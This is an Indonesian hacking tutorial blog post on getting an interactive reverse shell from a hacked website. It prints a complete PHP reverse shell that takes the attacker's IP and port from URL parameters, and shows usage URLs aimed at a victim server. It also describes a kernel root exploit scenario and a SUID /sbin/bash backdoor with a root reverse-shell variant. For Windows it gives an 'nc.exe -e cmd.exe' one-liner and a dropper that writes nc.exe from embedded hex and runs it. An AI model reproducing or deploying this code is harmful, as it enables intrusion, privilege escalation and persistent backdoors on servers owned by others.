Rootshell adalah impian semua hacker.
Biasanya seorang hacker yang masuk melalui web vulnerability, akan
mengupload webshell. Dengan webshell si hacker bisa mengeksekusi
command shell melalui request HTTP. Namun webshell tetaplah bukan true
shell, webshell memiliki banyak keterbatasan, salah satunya adalah
sifatnya yang tidak interaktif.
Dalam artikel ini saya akan menjelaskan
bagaimana caranya mendapatkan true shell yang interaktif dari suatu
website yang berhasil dihack. Dari shell tersebut saya juga
memperlihatkan contoh eksploitasi lokal untuk meningkatkan privilege
dari user biasa (apache) menjadi root dan mensetup sebuah backdoor
sehingga si hacker kapan saja bisa mendapatkan rootshell.
Reverse Shell PHP di Linux
Saya memakai reverse shell php dari situs pentestmonkey.net
dalam artikel ini. Reverse shell tersebut dibuat murni dalam PHP namun
hanya bekerja untuk OS berbasis UNIX seperti Linux. Saya sudah mencoba
untuk memodifikasi reverse shell tersebut untuk bekerja di windows,
namun belum berhasil, jadi untuk Windows saya akan pakai pendekatan
lain yang tidak murni PHP.
Reverse shell tersebut memiliki dua
konfigurasi yang dihard-coded ke dalam file phpnya, yaitu IP address
dan port server yang akan dihubungi oleh reverse shell ini. Agar lebih
fleksibel saya mengubah dua variabel tersebut menjadi mengambil nilai
dari parameter GET.
set_time_limit (0); $VERSION = "1.0"; $ip = '127.0.0.1'; // CHANGE THIS $port = 1234; // CHANGE THIS $chunk_size = 1400;
Ubah dua baris yang mengandung variabel $ip dan $port menjadi seperti di bawah ini.
set_time_limit (0); $VERSION = "1.0"; $ip = $_GET["ip"]; $port = $_GET["port"]; $chunk_size = 1400;
Jadi source code lengkap rs.php adalah sebagai berikut:
<?php set_time_limit (0); $VERSION = "1.0"; $ip = $_GET["ip"]; $port = $_GET["port"]; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = '/bin/bash -p -i'; $daemon = 0; $debug = 0; if (function_exists('pcntl_fork')) { // Fork and have the parent process exit $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } // Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } // Change to a safe directory chdir("/"); // Remove any umask we inherited umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } // Spawn shell process $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } // Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { // Check for end of TCP connection if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } // Check for end of STDOUT if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } // Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); // If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } // If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } // If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); // Like print, but does nothing if we've daemonised ourself // (I can't figure out how to redirect STDOUT like a proper daemon) function printit ($string) { if (!$daemon) { print "$string\n"; } } ?>
Setelah file tersebut dibuat, cara
memakainya sangat mudah, anda hanya perlu memasukkan file tersebut ke
suatu website. Lalu request file PHP tersebut dari browser anda.
Contohnya bila anda menamakan file tersebut dengan rs.php, maka anda
cukup membuka browser ke URL
http://ALAMAT.IP.KORBAN/rs.php?ip=ALAMAT.IP.HACKER&port=NO.PORT.HACKER
Tapi sebelumnya anda harus sudah
menyiapkan “listener”-nya di server milik hacker. Cara termudah adalah
dengan memakai program netcat. Netcat di linux sudah secara default
tersedia, sedangkan untuk windows harus didownload dulu dari sini.
Dua gambar di bawah ini menunjukkan kondisi ketika
ketika rs.php di-request, seketika itu juga netcat yang sudah diset
untuk listen di port 443 menerima koneksi dari server korban dan
memberikan shell untuk anda. Saya memilih port 443 karena biasanya
firewall mengizinkan koneksi outbound pada port http dan https, bila
saya memilih port 4444 dikhawatirkan firewall di server korban akan
memblok koneksi tersebut karena port yang tidak umum.
Bila anda hosting di tempat yang tidak
memberikan akses ssh, jangan kuatir, dengan cara ini anda bisa
mendapatkan shell interaktif layaknya memakai ssh. Pengelola hosting
juga jangan merasa aman bila tidak menyediakan akses ssh bagi
customernya karena dengan cara ini customer bisa mendapatkan akses
shell seperti ssh dan melakukan eksploitasi lokal lebih leluasa.
Privilege Escalation
Mari kita lanjutkan skenarionya.
Setelah kita mendapatkan akses shell sebagai user apache (ceritanya
kita berhasil menghack website korban melalui sql injection attack).
Kenapa user apache? Karena webservernya kebetulan dijalankan dengan
privilege user apache.
Perintah uname memperlihatkan bahwa server hosting tersebut memakai
Linux dengan kernel yang vulnerable terhadap null pointer dereference.
Itu artinya kita bisa menjadi root di server hosting tersebut. Gambar
di bawah ini adalah langkah yang dilakukan hacker untuk menjadi root.
Reverse Rootshell
Setelah menjadi root dengan
mengeksploitasi kernel, hacker berusaha memasang backdoor sehingga dia
bisa mendapatkan rootshell kapan saja dia mau. Dia akan membuat salinan
/bin/bash ke dalam /sbin/bash, kemudian mengubah permissionnya menjadi
SUID root (4755). Dengan cara ini, siapapun yang mengeksekusi
/sbin/bash bisa menjadi root (khusus untuk bash perlu ditambahkan opsi
-p untuk mendapatkan rootshell).
Setelah membuat /sbin/bash, kini hacker
membuat file baru rsroot.php yang merupakan modifikasi dari rs.php.
Perbedaan antara rs.php dan rsroot.php hanya pada baris yang berisi
variabel $shell. Bila sebelumnya variable $shell berisi /bin/bash, maka
kini menjadi /sbin/bash yaitu root shell yang sudah dibuat hacker.
Sekarang backdoor rsroot.php sudah siap
dieksekusi. Kapanpun hacker menginginkan rootshell di server korban,
dia hanya perlu membuka URL
http://ALAMAT.IP.KORBAN/rsroot.php?ip=ALAMAT.IP.HACKER&port=NO.PORT.HACKER.
Gambar di bawah ini menunjukkan
perbedaan antara rs.php dan rsroot.php. Ketika hacker mendapatkan
rootshell dengan merequest URL rsroot.php terlihat karakter prompt yang
didapatkan adalah “#” yang berarti ini adalah rootshell. Namun ketika
shell di dapatkan melalui rs.php, maka prompt yang didapatkan adalah
“$” yang berarti hanya normal shell sebagai apache.
Reverse Shell di Windows
File rs.php hanya berlaku untuk server
berbasis UNIX seperti Linux, file tersebut tidak berlaku bila webserver
berjalan di OS Windows. Karena implementasi dalam php murni tidak bisa,
jadi saya menyiasati dengan cara script php tersebut mengeksekusi
netcat.exe untuk memberikan reverse shell ke server hacker.
Dalam script php, reverse shell yang memanfaatkan netcat.exe bisa dibuat dalam satu baris saja:
<?php system("nc.exe ".$_GET["ip"]." ".$_GET["port"]." -d -e cmd.exe"); ?>
Masalahnya adalah script di atas
memanggil netcat (nc.exe) yang umumnya tidak ada di windows. Ada
beberapa alternatif cara untuk mendapatkan nc.exe di windows.
Alternatifnya adalah:
- download: file nc.exe didownload dari suatu server. Donwload bisa dengan php atau tftp.exe.
- upload: dibuat suatu file php untuk melakukan upload file ke webserver.
- generate: script php akan membuat file nc.exe kemudian mengeksekusinya.
Dari ketiga alternatif tersebut saya memilih opsi terakhir, yaitu
generate karena paling praktis, tidak perlu download/upload nc.exe
terpisah, cukup satu file php saja. Caranya adalah saya mengubah isi
file binary nc.exe menjadi bentuk hexa, kemudian menaruhnya di awal
file php sebagai variabel string. Kemudian isi variabel string ini akan
diubah menjadi bentuk binary decimal dan ditulis ke dalam file nc.exe.
Potongan script php di bawah ini
mengubah variabel string dalam bentuk hexa ($hex) menjadi bentuk
karakter ASCII (binary) dengan fungsi chr() dan disimpan dalam variabel
$nc. Kemudian variabel $nc ini ditulis ke dalam file nc.exe dengan
fungsi file_put_contents(). Setelah file nc.exe berhasil dibuat, maka
dilanjutkan dengan mengeksekusi nc.exe dengan fungsi system().
Dalam potongan code ini, isi variabel $hex sengaja tidak ditulis lengkap agar mudah dilihat.
<? $hex= "310101010255362c043bdfcc7ca3b2ff01141b89b009b9140100d9086c64". "2feff743a88d6c11006fe4f692cb6f91739192980f96985c8ebcbd659d0b". "699d40629b669b4a9cdc9e309c27349c1c112dea77e00102a635002f003f". "43fccddffd00a44700e047017700974800e0488d00984900e049dffccddf". "8600994b00e04b73009b4d00e04d74009d4f00cddffccde04f75009f5000". "e0509100a05100e05176f2cddffc00a15200e0529200a25300e0539300a3". "0000237521721b243100ba78f6fdfbdd3200970300793300230f7a340024". "077b9df87cf9df250f7c36005e001e7d3700267e38736cf00a1d1a39fd0f". "cf97ffbc80300029812d005f001f823d002b8397b7db47d47f070e09030f". "00947100dfde4c6d9f1136e457001707116500456b253614dd1272090407". "db6f866d13d454f702790059001907155de1ad6dda550407166900094317". "cdb1c1ee6f004f480018d65013220477fbb55ba2c71a5d9a001dd65553ad". "0e1b1ce76191a6fe526bd51e815ccc1f6400440004a2c4a76e660046c321". "671de75bc78ea222689f083f236a004a4b3460e1246b006f0b9a164cffda". "efcb000c263b003a4e27272a072860007eca42903a95225c28beb5c7747a". "005a8c062c7800582c7414ef0c2d630043db2e8e56e828de51af2f620042". "f23095b81596c54e1407316d8d3dbe3fdfb100322c003c332e003e073413". "953487748d352a72740ddbb210a054a2684655749b5b30822e3d70a46a4e". "57616b6e3304ce3f907cce4058dc82db9a947641a80c6e8e0bcd2d144284". "6fa6c21470652d140c1e4a1471fe36cb663b4737077748388d49394af0e4". "d91f842d4b34dcf22c70c0b24d367d742b36cb66794f3175503291513396". "cdb25976523092532e93bff4bf42e085e087e089e08b09e088e08ae08d72". "66a48c5ba20337919cc056b224e04881da455c00a5c0d0c5852efd1f5253". "4453d7cf6e066ef8969fa9d33d46fcf5fc8a7e2600633a5c3e5c5265817d"; $nc = ""; for ($i=0;$i<strlen($hex)/2;$i++) { $nc.=chr(hexdec($hex[$i*2].$hex[$i*2+1])); } file_put_contents("nc.exe",$nc); system("nc.exe ".$_GET["ip"]." ".$_GET["port"]." -d -e cmd.exe"); ?>
Source code lengkap reverse shell php di windows bisa didownload di sini
lalu ekstrak dan masukkan ke web server milik korban. Gambar di bawah
ini menunjukkan ketika file rswin.php dieksekusi dan memberikan shell
cmd.exe kepada server milik hacker yang menjalankan Linux.
sumber : http://www.ilmuhacking.com/
Thanks for reading & sharing KEPOIN IT
0 comments:
Post a Comment